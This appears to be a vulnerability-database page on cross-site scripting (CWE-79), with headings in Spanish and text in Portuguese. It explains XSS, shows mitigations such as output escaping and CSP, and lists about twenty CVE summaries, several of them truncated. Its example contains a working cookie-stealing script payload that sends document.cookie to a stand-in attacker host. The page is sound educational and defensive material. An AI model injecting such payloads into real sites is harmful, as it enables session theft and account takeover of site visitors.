Fallos del tipo CWE-79

29.626 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-27625MEDIUMCMS Made Simple Version 2.2.19 is vulnerable to Cross Site Scripting (XSS). This vulnerability resides in the File Manager module of the admEPSS 0.4%CVE-2024-8991MEDIUMOSM <= 6.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via osm_map and osm_map_v3 ShortcodesEPSS 0.4%CVE-2023-5895LOWCross-site Scripting (XSS) - DOM in pkp/pkp-libEPSS 0.4%CVE-2023-41653HIGHWordPress Sermon'e – Sermons Online Plugin <= 1.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-41236HIGHWordPress Happy Elementor Addons Pro Plugin <= 2.8.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-35884HIGHWordPress EventPrime Plugin <= 3.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-9923MEDIUMCampcodes Sales and Inventory System index.php cross site scriptingEPSS 0.4%CVE-2024-50532HIGHWordPress Events Manager Pro – extended plugin <= 0.1 - CSRF to Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-56314MEDIUMA stored cross-site scripting (XSS) vulnerability in the Project name of REDCap through 14.9.6 allows authenticated users to inject maliciouEPSS 0.4%CVE-2025-4987HIGHStored Cross-site Scripting (XSS) vulnerability affecting Opportunity Management in Project Portfolio Manager from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2025xEPSS 0.4%CVE-2024-47528MEDIUMLibreNMS Contains a Stored XSS via File UploadEPSS 0.4%CVE-2024-30880MEDIUMReflected Cross Site Scripting (XSS) vulnerability in RageFrame2 v2.6.43, allows remote attackers to execute arbitrary web scripts or HTML aEPSS 0.4%CVE-2019-17003MEDIUMScanning a QR code that contained a javascript: URL would have resulted in the Javascript being executed.EPSS 0.4%CVE-2024-51093HIGHStored Cross-Site Scripting (XSS) vulnerability in Snipe-IT - v7.0.13 allows an attacker to upload a malicious XML file containing JavaScripEPSS 0.4%CVE-2023-27629MEDIUMWordPress Site Reviews Plugin <= 6.5.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-51497MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.phpEPSS 0.4%CVE-2024-28091MEDIUMTechnicolor TC8715D TC8715D-01.EF.04.38.00-180405-S-FF9-D RSE-TC8717T devices allow a remote attacker within Wi-Fi proximity to conduct storEPSS 0.4%CVE-2024-54390HIGHWordPress TagGator plugin <= 1.54 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-34401MEDIUMSavsoft Quiz 6.0 allows stored XSS via the index.php/quiz/insert_quiz/ quiz_name parameter.EPSS 0.4%CVE-2024-22639MEDIUMiGalerie v3.0.22 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Titre (Title) field in the editing iEPSS 0.4%